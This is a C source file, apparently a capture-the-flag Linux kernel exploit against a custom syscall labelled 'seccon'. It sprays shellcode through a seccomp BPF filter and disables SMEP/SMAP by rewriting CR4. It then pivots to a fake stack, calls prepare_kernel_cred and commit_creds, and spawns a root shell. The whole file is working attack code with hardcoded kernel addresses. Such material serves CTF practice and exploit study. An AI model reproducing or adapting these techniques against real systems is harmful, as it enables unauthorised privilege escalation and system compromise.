1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
|
#include <linux/bpf_common.h>
#define _GNU_SOURCE
#include <assert.h>
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/bpf.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <linux/userfaultfd.h>
#include <malloc.h>
#include <netinet/in.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <sys/xattr.h>
#include <unistd.h>
#define PAGE_SIZE 4096
void die(const char *msg) {
perror(msg);
exit(-1);
}
int global_fd;
uint64_t kernbase;
uint64_t user_cs, user_sp, user_ss, user_rflags;
uint64_t prepare_kernel_cred = 0xffffffff81073c60;
uint64_t commit_creds = 0xffffffff81073ad0;
uint64_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81800e10 + 22;
void save_status() {
__asm__("mov %0, cs;"
"mov %1, ss;"
"mov %2, rsp;"
"pushfq;"
"popq %3;"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags)
:
: "memory");
puts("[*] status has been saved.");
}
void pop_shell() {
if (!getuid()) {
char *argv[] = {"/bin/sh", NULL};
char *envp[] = {NULL};
puts("[*] Root! :)");
execve("/bin/sh", argv, envp);
} else {
die("[!] spawn shell error!\n");
}
}
// jmp rax 0xffffffff8106805a
int seccon(uint64_t rip) { return syscall(1337, rip); }
int main() {
int i;
uint64_t *fake_stack, *filter;
uint64_t *sc;
kernbase = 0xffffffff81000000;
save_status();
filter = malloc(0x313 * 8);
fake_stack = mmap(
(void *)0x100000000 - PAGE_SIZE, PAGE_SIZE * 2, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE | MAP_FIXED, -1, 0);
if (fake_stack == MAP_FAILED) {
die("[!] Failed to mmap fake_stack");
}
fake_stack = (uint64_t *)0x100000000;
fake_stack[0] = prepare_kernel_cred;
fake_stack[1] = commit_creds;
fake_stack[2] = swapgs_restore_regs_and_return_to_usermode;
fake_stack[3] = 0; // dummy rax
fake_stack[4] = 0; // dummy rdi
fake_stack[5] = (uint64_t)pop_shell; // user rip
fake_stack[6] = user_cs; // user cs
fake_stack[7] = user_rflags; // user rflags
fake_stack[8] = user_sp; // user sp
fake_stack[9] = user_ss; // user ss
for (i = 0; i < 0x313; i++) {
filter[i] = (uint64_t)(0x01eb9090) << 32;
}
printf("[+] pop_shell %p\n", &pop_shell);
printf("[+] user_cs 0x%lx\n", user_cs);
printf("[+] user_rflags 0x%lx\n", user_rflags);
printf("[+] user_sp 0x%lx\n", user_sp);
printf("[+] user_ss 0x%lx\n", user_ss);
filter[0x312] = 0x7fff000000000006;
sc = &filter[0x100];
i = 0;
// overwrite cr4, disable smap&smep
sc[i++] = (uint64_t)(0x04E7200F) << 32; // mov rdi, cr4; add al, 0
sc[i++] = (uint64_t)(0x01ebd231) << 32; // xor edx, edx
sc[i++] = (uint64_t)(0x01ebc2ff) << 32; // inc edx
sc[i++] = (uint64_t)(0x01ebe2d1) << 32; // shl edx, 1
sc[i++] = (uint64_t)(0x01ebc2ff) << 32; // inc edx
sc[i++] = (uint64_t)(0x0414E2C1) << 32; // shl edx, 20; add al, 0
sc[i++] = (uint64_t)(0x01ebd2f7) << 32; // not edx
sc[i++] = (uint64_t)(0x04D72148) << 32; // and rdi, rdx; add al, 0
sc[i++] = (uint64_t)(0x04E7220F) << 32; // mov cr4, rdi; add al, 0
// rsp = 0x100000000
sc[i++] = (uint64_t)(0x01ebe431) << 32; // xor esp, esp
sc[i++] = (uint64_t)(0x01ebccff) << 32; // dec esp
sc[i++] = (uint64_t)(0x04c4ff48) << 32; // inc rsp; add al, 0
// call prepare_kernel_cred
sc[i++] = (uint64_t)(0x01ebff31) << 32; // xor edi, edi
sc[i++] = (uint64_t)(0x01eb9058) << 32; // pop rax; nop
sc[i++] = (uint64_t)(0x01ebd0ff) << 32; // call rax;
// call commit_creds
sc[i++] = (uint64_t)(0x04c78948) << 32; // mov rdi, rax; add al, 0
sc[i++] = (uint64_t)(0x01eb9058) << 32; // pop rax; nop
sc[i++] = (uint64_t)(0x01ebd0ff) << 32; // call rax;
// call swapgs_restore_regs_and_return_to_usermode + 22
sc[i++] = (uint64_t)(0x01eb9058) << 32; // pop rax; nop
// ! `call rax` will destroy stack frame !!
sc[i++] = (uint64_t)(0x01ebe0ff) << 32; // jmp rax;
struct sock_fprog prog = {
.len = 0x313,
.filter = (struct sock_filter *)filter,
};
// fp = 0xffffc9000004d000 + 0x30
prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
seccon(0xffffffffc0000400);
}
|